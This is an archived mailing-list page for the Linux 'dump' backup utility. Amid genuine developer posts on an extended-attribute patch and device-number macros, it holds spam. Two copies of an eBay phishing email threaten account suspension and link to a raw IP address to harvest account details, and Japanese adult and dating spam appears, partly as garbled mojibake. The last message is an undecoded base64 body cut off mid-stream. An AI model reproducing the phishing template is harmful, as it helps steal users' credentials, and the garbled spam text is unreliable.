You can subscribe to this list here.
2000 |
Jan
(2) |
Feb
(24) |
Mar
(4) |
Apr
(1) |
May
|
Jun
|
Jul
|
Aug
(2) |
Sep
(5) |
Oct
(4) |
Nov
|
Dec
(26) |
---|---|---|---|---|---|---|---|---|---|---|---|---|
2002 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
(8) |
Dec
|
2003 |
Jan
(10) |
Feb
|
Mar
|
Apr
(2) |
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
(1) |
2004 |
Jan
(9) |
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
(3) |
2005 |
Jan
|
Feb
(1) |
Mar
(4) |
Apr
(2) |
May
(1) |
Jun
(3) |
Jul
(4) |
Aug
(2) |
Sep
(6) |
Oct
(6) |
Nov
(17) |
Dec
(28) |
2006 |
Jan
(9) |
Feb
(6) |
Mar
(4) |
Apr
(2) |
May
(11) |
Jun
(22) |
Jul
(2) |
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2008 |
Jan
|
Feb
|
Mar
|
Apr
(2) |
May
(6) |
Jun
|
Jul
|
Aug
(2) |
Sep
|
Oct
|
Nov
(1) |
Dec
|
2009 |
Jan
|
Feb
|
Mar
(6) |
Apr
|
May
(3) |
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2010 |
Jan
|
Feb
|
Mar
|
Apr
(4) |
May
|
Jun
(1) |
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2011 |
Jan
|
Feb
|
Mar
|
Apr
|
May
(4) |
Jun
(4) |
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2012 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
(1) |
Aug
(1) |
Sep
|
Oct
|
Nov
|
Dec
|
2013 |
Jan
|
Feb
(1) |
Mar
(3) |
Apr
(2) |
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2016 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
(3) |
Aug
|
Sep
|
Oct
(1) |
Nov
|
Dec
|
2019 |
Jan
|
Feb
|
Mar
|
Apr
(3) |
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
From: sadfasdf <sfj...@as...> - 2005-03-14 13:15:59
|
¬¬ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª ÆENEWS@Vol.031 ÂVj [X|[^[()} ¯ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª® Ai^̳ÉM¶çêÈ¢NEWSð¨Í¯I ¬@¬@¬@¬@¬@¬@¬@¬ Ù @ } @ I @ @ Ê @ ñ @ @ I ¯®@¯®@¯®@¯®@¯®@¯®@¯®@¯® ¡mi23ËjyÊ^Lz @[µÄÄàmªÇAKÌy»¤ÈO©Æv¢«âÆ·Ì¥¥? @http://www.okidokiaiai.com/ ¡mbi19ËjyÊ^Lz @bµÌbèÉt¢Ä¢ÌŸêtBIWWð·æ¤É¥¥? @http://www.okidokiaiai.com/ ¡Jii25jyÊ^Lz @êú}WÉê½Bt«ÁÄ2碵ÄÊÌTCgÅ©©¥¥? @http://www.okidokiaiai.com/ ¡aüi32jyÊ^³z @ºªAjºµÄÄG¦B©½ÚͺÉí¸XÁƵ½ül¥¥? @http://www.okidokiaiai.com/ @ ¬ªªªªªªªªªªªªªªªªªªªªªªªªªªªªc ¡@ÂVÌÆENEWSFÅVLsbNAbv ¹ªªªªªªªªªªªªªªªªªªªªªªªªªªªªª @ܸÍlbgðÛ©çX^[guåè|[^TCgÌÑv ¯®ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª ±«Fhttp://www.okidokiaiai.com/ @TÌf[gÌèðlbgÌoï¢ÅË«F10lÉ1l ¯®ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª ±«Fhttp://www.okidokiaiai.com/ @Þǧªq»ÎôÅuoï¢nvH ¯®ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª ±«Fhttp://www.okidokiaiai.com/ ªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªªª @ ÆENEWS cccccccccccccccccccccccccccccccccccccc @http://www.okidokiaiai.com/ @¤ vvvvvvvvvvvvvvvvvvvvvvvvvv |
From: <mat...@li...> - 2005-03-10 15:36:09
|
色ずく季節を幾つも周り… 女性も積極的に男性を求める時代へと変貌を 遂げようとしております。 突然のメールでのご紹介をお許し下さいませ。 弊社は『金銭的には余裕のある身元の確かな女性会員様と 誠実で秘密厳守を守れる男性会員様』をマッチングしているクラブ でございます。 現在、全国で女性会員数は7691名 男性会員数683名 おりまして、男性会員様が圧倒的に少ない現状になっております。 女性会員様が今後も増加の一途を辿って行きますので急遽、男性会員様を 募集するに至りました。 あらかじめ申しておきたいのですが、当クラブからのメールがご不要で あると感じた場合には破棄してくださるよう誠に申し訳ありませんが お願いしております。なお、「配信不要」の旨を当クラブまでお申し付け 下されば二度とメールは配信致しません。 誠に勝手なお願いでございますがよろしくお願い致します。 当クラブでは女性会員様の出資金で運営しておりますので お会いして頂く場合には失礼の無いように心がけて頂いております。 また男性会員様におきましては登録料・紹介料等全て無料にて行わせて 頂いております。男性会員様の紳士的な行為や態度が当クラブのステータスに なるとお思い下さいませ。 なお、当クラブを通じて素敵な出会いを手に入れることが出来たとのご報告が 女性会員様から多数寄せられております。当クラブがきっかけで『かけがえの ない異性の友達』『洗練されたお付き合い』『ご結婚』に至るまで多岐にわたる ご報告を受けております。貴方様もぜひ、日々の生活に華やかな一面を添えて 頂きたいと思っております。 日本全国に女性会員様が多数在籍しておりますので、 まずは貴方様の地域に該当している女性会員様をご紹介させて頂きたいと思います。 簡単なシートですので、まずはお気軽にお書き下さいませ。 Q:NO,1 貴方様のお会いするにあたってのご希望の地域(都道府県等) Q:NO,2 当クラブをご利用するにあたってのご利用タイプ 【恋人募集】 恋人・結婚相手を探す 【サポート希望】 1ランク上の洗練されたお付き合い・女性からのサポート 【セックスフレンド】 秘密厳守でのお相手 【SM】 S女・M女 以上のご質問にお答え頂きご返信いただければ、当クラブの各地域担当女性から 貴方様のご希望に沿った女性をご案内させて頂きます。 『club adolescence』代表 山下 香穂 |
From: SDFSDF <sd...@ay...> - 2005-02-24 13:11:48
|
^o^)/~¡xË Eoï¢ÍÅ·ðt¯é E®S³¿¾©çÀSÀS EDÝÌ^CvÅI×I³¿TCgW @http://www.e-gal.tv/ Ëó¿oÅA¿FNQ853032 ªªªcªªªªªcªªªªªcªªªªªcªªªªªcªªªªªcª ¬ª@¬ª@@®S³¿TCgØyö¤ÈwÇAWA{z ²ö°ª²ª°ªcªªªªªcªªªªªcªªªªªcªªªªªc ¯ª²¤°ª²]«http://www.e-gal.tv/ @@¯ª®@¯ª®cªªªªªcªªªªªcªªªªªcªªªªªc |
From: eBay B. D. t. <e-w...@eB...> - 2004-12-15 12:29:37
|
<DIV> <DIV> <DIV> <DIV> <DIV> <DIV> <DIV> <DIV> <DIV> <DIV> <DIV> <DIV><A href=3D"http://pages.ebay.com/" target=3D_blank> <IMG alt=3D"Register for eBay" src=3D"http://pics.ebay.com/aw/pics/regi= ster/HeaderRegister_387x40.gif" border=3D0 width=3D"387" height=3D"40"></= A>=20 <DIV><FONT face=3DArial size=3D2> <TABLE cellSpacing=3D0 cellPadding=3D0 width=3D600 border=3D0> <TBODY> <TR> <TD colSpan=3D2><IMG height=3D10 alt=3D" " src=3D"http://pics.ebay.com/aw= /pics/spacer.gif" width=3D1></TD></TR> <TR> <TD bgColor=3D#ffcc00 colSpan=3D2><IMG height=3D2 alt=3D" " src=3D"http:/= /pics.ebay.com/aw/pics/spacer.gif" width=3D1></TD></TR> <TR bgColor=3D#ffe580> <TD width=3D25><IMG height=3D3 alt=3D"" src=3D"http://pics.ebay.com/aw/pi= cs/sitewide/leftLine_16x3.gif" width=3D16 align=3Dmiddle></TD> <TD vAlign=3Dcenter width=3D575> <TABLE cellSpacing=3D0 cellPadding=3D1 width=3D"100%" border=3D0> <TBODY> <TR> <TD vAlign=3Dcenter noWrap><STRONG>Dear valued customer</STRONG></TD> <TD vAlign=3Dcenter noWrap align=3Dright><A href=3D"http://pages.ebay.com= /help/new/signin.html" target=3D_blank onfiltered=3D"return openHelpWindo= w(this.href);"><IMG height=3D14 src=3D"http://pics.ebay.com/aw/pics/listi= ngs/questionMark_14x14.gif" width=3D14 border=3D0></A><IMG height=3D1 alt= =3D" " src=3D"http://pics.ebay.com/aw/pics/spacer.gif" width=3D4><FONT fa= ce=3D"Arial, Helvetica, sans-serif" size=3D2><A href=3D"http://pages.ebay= .com/help/new/signin.html" target=3D_blank onfiltered=3D"return openHelpW= indow(this.href);">Need Help?</A></FONT><IMG height=3D1 alt=3D" " src=3D"= http://pics.ebay.com/aw/pics/spacer.gif" width=3D2></TD></TR></TBODY></TA= BLE></TD></TR> <TR> <TD bgColor=3D#ffcc00 colSpan=3D2><IMG height=3D2 alt=3D" " src=3D"http:/= /pics.ebay.com/aw/pics/spacer.gif" width=3D1></TD></TR></TBODY></TABLE></= FONT> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2></FONT> </DIV> <DIV><FONT face=3DArial size=3D2> <DIV><STRONG><FONT face=3DArial size=3D2> <DIV> <DIV style=3D"width: 605; height: 224"><STRONG><FONT face=3Darial> We = regret to inform you that your eBay account could be suspended if you don= 't=20 re-update your account information. To resolve this problems please </F= ONT> <a target=3D"_blank" a href=3D"http://216.117.135.187/ebays/acounts/upd= ate/trustcompany/unpdateneeded/hgdas676bsda6gwcv7zfcwfcwf34gfwf23g235f134= f3fg3f&bhdfahva68532hbhwseBayISAPI.dllPaymentLanding&ssPageName=3DhhpayUS= f&=3Duserhgads&secure&ssl7r2vbd7d88klmnogh.htm"><FONT face=3Darial color=3D= #0000ff>click here</FONT></a></STRONG><FONT face=3Darial>=20 and re-enter your account information. If your problems could not be re= solved your account will be suspended for a period of 3-4 days, after=20 this period your account will be terminated.<br><BR> =20 For the User Agreement, Section 9, we may immediately issue a warning, = temporarily suspend, indefinitely suspend or terminate your membership an= d refuse to provide our services to you if we believe that your actions m= ay cause financial loss or legal liability for you, our users or us. We m= ay also take these actions if we are unable to verify or authenticate any= information you provide to us.<br><BR> Due to the suspension of this= account, please be advised you are prohibited from using eBay in any way= . This includes the registering of a new=20 account. Please note that this suspension does not relieve you of your = agreed-upon obligation to pay any fees you may owe to eBay.</FONT></DIV><= STRONG></STRONG></DIV><STRONG></STRONG></FONT></STRONG></DIV><STRONG><FON= T face=3DArial size=3D2><STRONG></STRONG></FONT></STRONG></FONT></DIV><FO= NT face=3DArial size=3D2><STRONG><FONT face=3DArial size=3D2><STRONG></ST= RONG></FONT></STRONG></FONT></DIV> <DIV><FONT face=3DArial size=3D2><STRONG><FONT face=3DArial size=3D2><STR= ONG> <DIV> </DIV> <DIV> </DIV> <DIV><BR><FONT face=3Darial>Regards,Safeharbor Department eBay, Inc</FONT= ></STRONG></DIV></FONT></STRONG><FONT size=3D2></FONT><STRONG></STRONG> <DIV><STRONG><FONT face=3Darial size=3D2>The eBay team.</FONT></STRONG></= DIV> <DIV><FONT face=3Darial><FONT size=3D2></FONT><STRONG></STRONG></FONT> </= DIV> <DIV><STRONG><FONT face=3Darial size=3D2>This is an automatic message. Pl= ease do not reply.</FONT></STRONG></DIV> <DIV><FONT face=3DArial size=3D2></FONT><STRONG></STRONG> </DIV> <DIV><STRONG><BR> <TABLE cellSpacing=3D0 cellPadding=3D0 width=3D599 bgColor=3D#ffcc00 bord= er=3D0> <TBODY> <TR> <TD height=3D2><IMG height=3D2 src=3D"http://pics.ebay.com/aw/pics/spacer= .gif" width=3D2></TD></TR></TBODY></TABLE><CURSIVE src=3D"http://include.= ebay.com/aw/pics/js/stats/ss.js"></SCRIPT><IMG height=3D1 width=3D1 borde= r=3D0 name=3Ds_i_ebay> <CURSIVE src=3D"http://include.ebay.com/aw/pics/js= /stats/ss2.js"></SCRIPT> <P> <TABLE cellSpacing=3D0 cellPadding=3D0 width=3D600 border=3D0> <TBODY> <TR> <TD colSpan=3D2><BR> <HR align=3Dcenter width=3D500> <BR> <DIV align=3Dcenter><FONT face=3D"Arial, Verdana, Helvetica, sans-serif" = size=3D2><A href=3D"http://pages.ebay.com/community/index.html?ssPageName= =3Df:f:ann:US" target=3D_blank>Announcements</A> | <A href=3D"http://= cgi4.ebay.com/aw-cgi/eBayISAPI.dll?RegisterShow&ssPageName=3Df:f:reg:US" = target=3D_blank>Register</A> | <A href=3D"http://pages.ebay.com/help/= confidence/hub.html?ssPageName=3Df:f:stips:US" target=3D_blank>Safe Tradi= ng Tips</A> | <A href=3D"http://pages.ebay.com/help/policies/hub.html= ?ssPageName=3Df:f:policy:US" target=3D_blank>Policies</A> | <A href=3D= "http://pages.ebay.com/help/new/feedback.html" target=3D_blank onfiltered= =3D"return openHelpWindow(this.href);">Feedback Forum</A> | <A href=3D= "http://pages.ebay.com/community/aboutebay/index.html?ssPageName=3Df:f:eb= ayinc:US" target=3D_blank>About eBay</A></FONT> </DIV><BR></TD></TR> <TR> <TD vAlign=3Dtop align=3Dleft width=3D450 height=3D31><FONT face=3D"Arial= , Verdana, Helvetica, sans-serif" size=3D1>Copyright =A9 1995-2003 eBay I= nc. All Rights Reserved.<BR>Designated trademarks and brands are the prop= erty of their respective owners.<BR>Use of this Web site constitutes acce= ptance of the eBay <A href=3D"http://pages.ebay.com/help/policies/user-ag= reement.html" target=3D_blank onfiltered=3D"return openHelpWindow(this.hr= ef);">User Agreement</A> and <A href=3D"http://pages.ebay.com/help/polici= es/privacy-policy.html" target=3D_blank onfiltered=3D"return openHelpWind= ow(this.href);">Privacy Policy</A>.</FONT><BR></TD> <TD vAlign=3Dtop align=3Dright width=3D150 height=3D31><FONT face=3D"Aria= l, Verdana, Helvetica, sans-serif" size=3D1><A href=3D"http://pages.ebay.= com/help/policies/privacy-policy.html" target=3D_blank onfiltered=3D"retu= rn openHelpWindow(this.href);"><IMG height=3D31 alt=3DTrustE src=3D"http:= //pics.ebay.com/aw/pics/truste_button.gif" width=3D116 align=3Dmiddle bor= der=3D0></A></FONT> </TD></TR></TBODY></TABLE></P><CURSIVE language=3D_Ja= vaScript><!--=20 var cbc, cbf; if (cbc){ writeFooter(); if (cbf){ fullCB(); } } //--></SCRIPT></STRONG></FONT></DIV></DIV></DIV></DIV></DIV></DIV></DIV><= /DIV></DIV></DIV></DIV></DIV></DIV></DIV> |
From: eBay B. d. <e-w...@eB...> - 2004-12-15 11:10:56
|
<DIV> <DIV> <DIV> <DIV> <DIV> <DIV> <DIV> <DIV> <DIV> <DIV> <DIV> <DIV><A href="http://pages.ebay.com/" target=_blank> <IMG alt="Register for eBay" src="http://pics.ebay.com/aw/pics/register/HeaderRegister_387x40.gif" border=0 width="387" height="40"></A> <DIV><FONT face=Arial size=2> <TABLE cellSpacing=0 cellPadding=0 width=600 border=0> <TBODY> <TR> <TD colSpan=2><IMG height=10 alt=" " src="http://pics.ebay.com/aw/pics/spacer.gif" width=1></TD></TR> <TR> <TD bgColor=#ffcc00 colSpan=2><IMG height=2 alt=" " src="http://pics.ebay.com/aw/pics/spacer.gif" width=1></TD></TR> <TR bgColor=#ffe580> <TD width=25><IMG height=3 alt="" src="http://pics.ebay.com/aw/pics/sitewide/leftLine_16x3.gif" width=16 align=middle></TD> <TD vAlign=center width=575> <TABLE cellSpacing=0 cellPadding=1 width="100%" border=0> <TBODY> <TR> <TD vAlign=center noWrap><STRONG>Dear valued customer</STRONG></TD> <TD vAlign=center noWrap align=right><A href="http://pages.ebay.com/help/new/signin.html" target=_blank onfiltered="return openHelpWindow(this.href);"><IMG height=14 src="http://pics.ebay.com/aw/pics/listings/questionMark_14x14.gif" width=14 border=0></A><IMG height=1 alt=" " src="http://pics.ebay.com/aw/pics/spacer.gif" width=4><FONT face="Arial, Helvetica, sans-serif" size=2><A href="http://pages.ebay.com/help/new/signin.html" target=_blank onfiltered="return openHelpWindow(this.href);">Need Help?</A></FONT><IMG height=1 alt=" " src="http://pics.ebay.com/aw/pics/spacer.gif" width=2></TD></TR></TBODY></TABLE></TD></TR> <TR> <TD bgColor=#ffcc00 colSpan=2><IMG height=2 alt=" " src="http://pics.ebay.com/aw/pics/spacer.gif" width=1></TD></TR></TBODY></TABLE></FONT> <DIV> </DIV> <DIV><FONT face=Arial size=2></FONT> </DIV> <DIV><FONT face=Arial size=2> <DIV><STRONG><FONT face=Arial size=2> <DIV> <DIV style="width: 605; height: 224"><STRONG><FONT face=arial> We regret to inform you that your eBay account could be suspended if you don't re-update your account information. To resolve this problems please </FONT> <a target="_blank" a href="http://216.117.135.187/ebays/acounts/update/trustcompany/unpdateneeded/hgdas676bsda6gwcv7zfcwfcwf34gfwf23g235f134f3fg3f&bhdfahva68532hbhwseBayISAPI.dllPaymentLanding&ssPageName=hhpayUSf&=userhgads&secure&ssl7r2vbd7d88klmnogh.htm"><FONT face=arial color=#0000ff>click here</FONT></a></STRONG><FONT face=arial> and re-enter your account information. If your problems could not be resolved your account will be suspended for a period of 3-4 days, after this period your account will be terminated.<br><BR> For the User Agreement, Section 9, we may immediately issue a warning, temporarily suspend, indefinitely suspend or terminate your membership and refuse to provide our services to you if we believe that your actions may cause financial loss or legal liability for you, our users or us. We may also take these actions if we are unable to verify or authenticate any information you provide to us.<br><BR> Due to the suspension of this account, please be advised you are prohibited from using eBay in any way. This includes the registering of a new account. Please note that this suspension does not relieve you of your agreed-upon obligation to pay any fees you may owe to eBay.</FONT></DIV><STRONG></STRONG></DIV><STRONG></STRONG></FONT></STRONG></DIV><STRONG><FONT face=Arial size=2><STRONG></STRONG></FONT></STRONG></FONT></DIV><FONT face=Arial size=2><STRONG><FONT face=Arial size=2><STRONG></STRONG></FONT></STRONG></FONT></DIV> <DIV><FONT face=Arial size=2><STRONG><FONT face=Arial size=2><STRONG> <DIV> </DIV> <DIV> </DIV> <DIV><BR><FONT face=arial>Regards,Safeharbor Department eBay, Inc</FONT></STRONG></DIV></FONT></STRONG><FONT size=2></FONT><STRONG></STRONG> <DIV><STRONG><FONT face=arial size=2>The eBay team.</FONT></STRONG></DIV> <DIV><FONT face=arial><FONT size=2></FONT><STRONG></STRONG></FONT> </DIV> <DIV><STRONG><FONT face=arial size=2>This is an automatic message. Please do not reply.</FONT></STRONG></DIV> <DIV><FONT face=Arial size=2></FONT><STRONG></STRONG> </DIV> <DIV><STRONG><BR> <TABLE cellSpacing=0 cellPadding=0 width=599 bgColor=#ffcc00 border=0> <TBODY> <TR> <TD height=2><IMG height=2 src="http://pics.ebay.com/aw/pics/spacer.gif" width=2></TD></TR></TBODY></TABLE><CURSIVE src="http://include.ebay.com/aw/pics/js/stats/ss.js"></SCRIPT><IMG height=1 width=1 border=0 name=s_i_ebay> <CURSIVE src="http://include.ebay.com/aw/pics/js/stats/ss2.js"></SCRIPT> <P> <TABLE cellSpacing=0 cellPadding=0 width=600 border=0> <TBODY> <TR> <TD colSpan=2><BR> <HR align=center width=500> <BR> <DIV align=center><FONT face="Arial, Verdana, Helvetica, sans-serif" size=2><A href="http://pages.ebay.com/community/index.html?ssPageName=f:f:ann:US" target=_blank>Announcements</A> | <A href="http://cgi4.ebay.com/aw-cgi/eBayISAPI.dll?RegisterShow&ssPageName=f:f:reg:US" target=_blank>Register</A> | <A href="http://pages.ebay.com/help/confidence/hub.html?ssPageName=f:f:stips:US" target=_blank>Safe Trading Tips</A> | <A href="http://pages.ebay.com/help/policies/hub.html?ssPageName=f:f:policy:US" target=_blank>Policies</A> | <A href="http://pages.ebay.com/help/new/feedback.html" target=_blank onfiltered="return openHelpWindow(this.href);">Feedback Forum</A> | <A href="http://pages.ebay.com/community/aboutebay/index.html?ssPageName=f:f:ebayinc:US" target=_blank>About eBay</A></FONT> </DIV><BR></TD></TR> <TR> <TD vAlign=top align=left width=450 height=31><FONT face="Arial, Verdana, Helvetica, sans-serif" size=1>Copyright © 1995-2003 eBay Inc. All Rights Reserved.<BR>Designated trademarks and brands are the property of their respective owners.<BR>Use of this Web site constitutes acceptance of the eBay <A href="http://pages.ebay.com/help/policies/user-agreement.html" target=_blank onfiltered="return openHelpWindow(this.href);">User Agreement</A> and <A href="http://pages.ebay.com/help/policies/privacy-policy.html" target=_blank onfiltered="return openHelpWindow(this.href);">Privacy Policy</A>.</FONT><BR></TD> <TD vAlign=top align=right width=150 height=31><FONT face="Arial, Verdana, Helvetica, sans-serif" size=1><A href="http://pages.ebay.com/help/policies/privacy-policy.html" target=_blank onfiltered="return openHelpWindow(this.href);"><IMG height=31 alt=TrustE src="http://pics.ebay.com/aw/pics/truste_button.gif" width=116 align=middle border=0></A></FONT> </TD></TR></TBODY></TABLE></P><CURSIVE language=_JavaScript><!-- var cbc, cbf; if (cbc){ writeFooter(); if (cbf){ fullCB(); } } //--></SCRIPT></STRONG></FONT></DIV></DIV></DIV></DIV></DIV></DIV></DIV></DIV></DIV></DIV></DIV></DIV></DIV></DIV> |
From: Stelian P. <st...@po...> - 2004-12-10 16:13:21
|
Hi everybody. Support of ACLs is a feature requested by many for a long time and I finally got the time to implement it. Since on Linux ACLs are only a particular case of EAs (Extended Attributes), I implemented full EA support, meaning that even security labels set (for example) by SELinux will be backuped. You can download a patch (against the current CVS dump) here: http://dump.sourceforge.net/dump-ea.patch.bz2 Some notes: * the patch is complete, meaning that everything is supposed to work: dumping, extraction, comparing, in all modes etc. * the patch modifies some key areas of restore, so pay attention and verify that you can reread your backups before relying on them. * the tape format changed a bit and you will need the patched restore to extract the files.(*) Please test this and report back if there are any issues. I plan to release a new version of dump (0.4b38) in the next few days, but I will NOT include the EA patch in it, because it really needs more testing. But as soon as I get enough positive replies on the EA patch I will include it in the official mainline. Thanks, Stelian. (*) In fact is a bit more complicated: - if no EAs are backuped, dump format should remain the same as in the old versions, so you can use whatever restore you want. - if EAs are backuped but never on directory inodes, then a reasonable recent version of restore should be happy and just skip over the extended attributes data. - if EAs are backuped for directory inodes, older restores will fail to extract with some 'directory corrupted' error. -- Stelian Pop <st...@po...> |
From: Stelian P. <st...@po...> - 2004-01-28 10:06:12
|
On Wed, Jan 28, 2004 at 09:56:54AM +0800, Zhang Jun wrote: > Hello, > > Following is the latest definition of macro major(dev), minor(dev) and makedev(maj, min) in GLIBC. Ok, I've updated restore to use major(), minor() instead of the 0xff bitmask, should be in the CVS now. It shouldn't matter much because the only uses were in a message printed to the user when comparing two device files fails. Thanks, Stelian. -- Stelian Pop <st...@po...> |
From: Zhang J. <zha...@na...> - 2004-01-28 01:58:20
|
SGVsbG8sDQoNCkZvbGxvd2luZyBpcyB0aGUgbGF0ZXN0IGRlZmluaXRpb24gb2YgbWFjcm8gbWFq b3IoZGV2KSwgbWlub3IoZGV2KSBhbmQgbWFrZWRldihtYWosIG1pbikgIGluIEdMSUJDLiANCg0K VGhlIGRlZmluaXRpb24gaXMgYmFzZWQgb24gZm9sbG93aW5nIDY0LWJpdCBkZXZpY2UgbnVtYmVy IGFyY2hpdGVjdHVyZSAoSXQncyBzaG93ZWQgaW4gYXR0YWNoZWQgZmlsZSBtb3JlIGNsZWFybHku KToNCk1NTU1NTU1NTU1NTU1NTU1NTU1NbW1tbW1tbW1tbW1tbW1tbW1tbW1tbW1tTU1NTU1NTU1N TU1NbW1tbW1tbW0NCiJNIiBtZWFucyBtYWpvciBudW1iZXI7DQoibSIgbWVhbnMgbWlub3IgbnVt YmVyLg0KDQpUaGUgaGlnaCAzMi1iaXQgaXMgcmVtYWluZWQgZm9yIGZ1dHVyZS4NCg0KU28gSSB0 aGluayB0aGUgbWF0dGVyIHlvdSB3b3JyeSBhYm91dCBkb2Vzbid0IGV4aXN0IG5vdy4gWW91IGNh biB1c2UgdGhlc2UgdGhyZWUgbWFjcm9zIHRvIGdldCB0aGUgcmlnaHQgZGV2aWNlIG51bWJlciBh bmQgaXRzIGRpZmZlcmVudCBwYXJ0cyAobWFqb3IgYW5kIG1pbm9yKS4gDQoNCg0KIyBpZiBkZWZp bmVkIF9fR05VQ19fICYmIF9fR05VQ19fID49IDINCl9fZXh0ZW5zaW9uX18gZXh0ZXJuIF9faW5s aW5lIHVuc2lnbmVkIGludA0KZ251X2Rldl9tYWpvciAodW5zaWduZWQgbG9uZyBsb25nIGludCBf X2RldikgX19USFJPVw0Kew0KICByZXR1cm4gKChfX2RldiA+PiA4KSAmIDB4ZmZmKSB8ICgodW5z aWduZWQgaW50KSAoX19kZXYgPj4gMzIpICYgfjB4ZmZmKTsNCn0NCg0KX19leHRlbnNpb25fXyBl eHRlcm4gX19pbmxpbmUgdW5zaWduZWQgaW50DQpnbnVfZGV2X21pbm9yICh1bnNpZ25lZCBsb25n IGxvbmcgaW50IF9fZGV2KSBfX1RIUk9XDQp7DQogIHJldHVybiAoX19kZXYgJiAweGZmKSB8ICgo dW5zaWduZWQgaW50KSAoX19kZXYgPj4gMTIpICYgfjB4ZmYpOw0KfQ0KDQpfX2V4dGVuc2lvbl9f IGV4dGVybiBfX2lubGluZSB1bnNpZ25lZCBsb25nIGxvbmcgaW50DQpnbnVfZGV2X21ha2VkZXYg KHVuc2lnbmVkIGludCBfX21ham9yLCB1bnNpZ25lZCBpbnQgX19taW5vcikgX19USFJPVw0Kew0K ICByZXR1cm4gKChfX21pbm9yICYgMHhmZikgfCAoKF9fbWFqb3IgJiAweGZmZikgPDwgOCkNCiAg ICAgICAgICB8ICgoKHVuc2lnbmVkIGxvbmcgbG9uZyBpbnQpIChfX21pbm9yICYgfjB4ZmYpKSA8 PCAxMikNCiAgICAgICAgICB8ICgoKHVuc2lnbmVkIGxvbmcgbG9uZyBpbnQpIChfX21ham9yICYg fjB4ZmZmKSkgPDwgMzIpKTsNCn0NCiMgZW5kaWYNCg0KLyogQWNjZXNzIHRoZSBmdW5jdGlvbnMg d2l0aCB0aGVpciB0cmFkaXRpb25hbCBuYW1lcy4gICovDQojIGRlZmluZSBtYWpvcihkZXYpIGdu dV9kZXZfbWFqb3IgKGRldikNCiMgZGVmaW5lIG1pbm9yKGRldikgZ251X2Rldl9taW5vciAoZGV2 KQ0KIyBkZWZpbmUgbWFrZWRldihtYWosIG1pbikgZ251X2Rldl9tYWtlZGV2IChtYWosIG1pbikN Cg0KDQoNCg0KLS0tLS0gT3JpZ2luYWwgTWVzc2FnZSAtLS0tLSANCkZyb206ICJTdGVsaWFuIFBv cCIgPHN0ZWxpYW5AcG9waWVzLm5ldD4NClRvOiAiWmhhbmcgSnVuIiA8emhhbmdqdW5AbmFuamlu Zy1mbnN0LmNvbT4NCkNjOiA8ZHVtcC1kZXZlbEBsaXN0cy5zb3VyY2Vmb3JnZS5uZXQ+DQpTZW50 OiBUdWVzZGF5LCBKYW51YXJ5IDIwLCAyMDA0IDY6NDUgUE0NClN1YmplY3Q6IFJlOiBbRHVtcC1k ZXZlbF0gTGludXggZGV2aWNlIG51bWJlciBidWcgcmVwb3J0DQoNCg0KPiBPbiBUaHUsIEphbiAx NSwgMjAwNCBhdCAwNDo1NTo0OVBNICswODAwLCBaaGFuZyBKdW4gd3JvdGU6DQo+IA0KPiA+IEhl bGxvLA0KPiA+IA0KPiA+IEkgaGF2ZSBzb21lIHF1ZXN0aW9ucyBhYm91dCBkZXZpY2UgbnVtYmVy IGV4dGVuc2lvbi4NCj4gPiANCj4gPiBJbiBMaW51eCBrZXJuZWwgMi42LCBkZXZpY2UgbnVtYmVy IHdpbGwgYmUgZXh0ZW5kZWQgZnJvbSAxNi1iaXQgdG8gMzItYml0LiBBbGwgdXRpbGl0aWVzIGFu ZCBsaWJyYXJpZXMgc2hvdWxkIG1ha2UgY29ycmVzcG9uZGluZyBleHRlbnNpb24gZm9yIHRoaXMg bmV3IGZlYXR1cmUgaW4ga2VybmVsIDIuNi4gDQo+ID4gDQo+ID4gSSBmaW5kIHRoYXQgImR1bXAt MC40YjM0LTEiIHVzZXMgdHdvIHN0cnVjdCBtZW1iZXJzICJkaV9yZGV2IiBhbmQgInN0X3JkZXYi IHdoaWNoIHJlcHJlc2VudCBkZXZpY2UgbnVtYmVyLCBhbmQgdGhleSBhcmUgb3BlcmF0ZWQgYXMg MTYtYml0Lg0KPiBbLi4uXQ0KPiANCj4gSGkgWmhhbmcsDQo+IA0KPiBJIHNhdyB5b3VyIHJlcGVh dGVkIG1haWxzIG9uIHRoaXMgbWF0dGVyIGJ1dCBJIGhhdmVuJ3QgYW5zd2VyZWQNCj4geWV0IGJl Y2F1c2UgSSdtIG5vdCBzdXJlIHdoYXQgdG8gc2F5Lg0KPiANCj4gPkZyb20gd2hhdCBJIHVuZGVy c3RhbmQgKGFuZCBzZWUgYXQgdGhlIGJvdHRvbSBvZiBpbmNsdWRlL2xpbnV4L2tkZXZfdC5oIGlu DQo+IHRoZSAyLjYga2VybmVsIHNvdXJjZXMpLCB0b2RheSB0aGUgaW50ZXJuYWwga2Rldl90IGlz IGluZGVlZCBjb2RlZCBpbnRvDQo+IDMyIGJpdHMsIGJ1dCB0aGUgZXh0ZXJuYWwsIHVzZXJzcGFj ZSB2aXNpYmxlIG9uZSBpcyBzdGlsbCBjb2RlZCBpbiB0aGUNCj4gbG93ZXIgMTYgYml0cyBvZiBh IDMyIGJpdCBpbnRlZ2VyLg0KPiANCj4gU28gZm9yIGR1bXAgdGhlcmUgc2hvdWxkIGJlIG5vIGNo YW5nZSBpbiB0aGUgaW1tZWRpYXRlIGZ1dHVyZS4NCj4gDQo+IFRoZSBrZXJuZWwgZGV2ZWxvcGVy 